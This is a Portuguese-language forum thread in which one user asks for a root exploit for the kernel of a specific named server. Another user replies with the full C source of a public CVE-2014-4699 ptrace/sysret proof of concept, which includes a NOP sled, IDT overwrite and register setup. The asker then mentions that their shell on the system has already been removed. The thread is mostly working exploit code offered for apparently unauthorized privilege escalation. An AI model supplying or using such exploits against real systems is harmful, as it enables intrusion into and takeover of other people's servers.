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Exploit para obter o acesso root

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    #1

    Exploit para obter o acesso root

    Algum pode me disponibilizar o exploit para o seguinte kernel ?ele é privado?

    Linux mccartney.hmnoc.net 2.6.32-531.1.2.lve1.2.54.el6.x86_64 #1 SMP Tue Mar 25 07:41:27 EDT 2014 x86_64 x86_64 x86_64 GNU/Linux

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    #2
    nada que uma pesquisada no google não resolva.

    cve-2014-4699

    Código:
    /**
     * CVE-2014-4699 ptrace/sysret PoC
     * by Vitaly Nikolenko
     * vnik@hashcrack.org
     *
     * > gcc -O2 poc_v0.c
     *
     * This code is kernel specific. On Ubuntu 12.04.0 LTS (3.2.0-23-generic), the
     * following will trigger the #GP in sysret and overwrite the #PF handler so we
     * can land to our NOP sled mapped at 0x80000000.
     * However, once landed, the IDT will be trashed. We can either attempt to
     * restore it (then escalate privileges and execute our shellcode) or find
     * something else to overwrite that would transfer exec flow to our controlled
     * user-space address. Since 3.10.something, IDT is read-only anyway. If you
     * have any ideas, let me know.
     */
      
    #include <stdio.h>
    #include <stdint.h>
    #include <assert.h>
    #include <sys/ptrace.h>
    #include <sys/types.h>
    #include <sys/wait.h>
    #include <sys/syscall.h>
    #include <sys/user.h>
    #include <unistd.h>
    #include <sys/mman.h>
    #include <errno.h>
     
    #define SIZE  0x10000000
     
    typedef int __attribute__((regparm(3))) (*commit_creds_fn)(unsigned long cred);
    typedef unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred_fn)(unsigned long cred);
     
    unsigned long __user_cs;
    unsigned long __user_ss;
    unsigned long __user_rflags;
     
    void __attribute__((regparm(3))) payload() {
        uint32_t *fixptr = (void*)0xffffffff81dd70e8;
        // restore the #PF handler
        *fixptr = -1;
        //commit_creds_fn commit_creds = (commit_creds_fn)0xffffffff81091630;
        //prepare_kernel_cred_fn prepare_kernel_cred = (prepare_kernel_cred_fn)0xffffffff810918e0;
        //commit_creds(prepare_kernel_cred((uint64_t)NULL));
     
        //__asm__ volatile ("swapgs\n\t"
        //        "...");
    }
     
    int main() {
        struct user_regs_struct regs;
        uint8_t *trampoline, *tmp;
        int status;
     
        struct {
            uint16_t limit;
            uint64_t addr;
        } __attribute__((packed)) idt;
     
            // MAP_POPULATE so we don't trigger extra #PF
        trampoline = mmap(0x80000000, SIZE, 7|PROT_EXEC|PROT_READ|PROT_WRITE, 0x32|MAP_FIXED|MAP_POPULATE|MAP_GROWSDOWN, 0,0);
        assert(trampoline == 0x80000000);
        memset(trampoline, 0x90, SIZE);
            tmp = trampoline;
            tmp += SIZE-1024;
            memcpy(tmp, &payload, 1024);
        memcpy(tmp-13,"\x0f\x01\xf8\xe8\5\0\0\0\x0f\x01\xf8\x48\xcf", 13);
     
        pid_t chld;
     
            if ((chld = fork()) < 0) {
            perror("fork");
            exit(1);
        }
         
        if (chld == 0) {
            if (ptrace(PTRACE_TRACEME, 0, 0, 0) != 0) {
                perror("PTRACE_TRACEME");
                exit(1);
            }
            raise(SIGSTOP);
            fork();
            return 0;
        }
     
        asm volatile("sidt %0" : "=m" (idt));
        printf("IDT addr = 0x%lx\n", idt.addr);
     
        waitpid(chld, &status, 0);
     
        ptrace(PTRACE_SETOPTIONS, chld, 0, PTRACE_O_TRACEFORK);
     
        ptrace(PTRACE_CONT, chld, 0, 0);
     
        waitpid(chld, &status, 0);
     
            ptrace(PTRACE_GETREGS, chld, NULL, &regs);
        regs.rdi = 0x0000000000000000;
        regs.rip = 0x8fffffffffffffff;
        regs.rsp = idt.addr + 14*16 + 8 + 0xb0 - 0x78;
     
        // attempt to restore the IDT
        regs.rdi = 0x0000000000000000;
        regs.rsi = 0x81658e000010cbd0;
        regs.rdx = 0x00000000ffffffff;
        regs.rcx = 0x81658e000010cba0;
        regs.rax = 0x00000000ffffffff;
        regs.r8  = 0x81658e010010cb00;
        regs.r9  = 0x00000000ffffffff;
        regs.r10 = 0x81668e0000106b10;
        regs.r11 = 0x00000000ffffffff;
        regs.rbx = 0x81668e0000106ac0;
        regs.rbp = 0x00000000ffffffff;
        regs.r12 = 0x81668e0000106ac0;
        regs.r13 = 0x00000000ffffffff;
        regs.r14 = 0x81668e0200106a90;
        regs.r15 = 0x00000000ffffffff;
     
            ptrace(PTRACE_SETREGS, chld, NULL, &regs);
     
        ptrace(PTRACE_CONT, chld, 0, 0);
     
        ptrace(PTRACE_DETACH, chld, 0, 0);
    }

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      #3
      Pesquisei não achei, o nosso amigo n4sss falou que era priv8 só rolava com os caras mais underground :/ ,já tiraram a shell do sistema,mais vlw ^^

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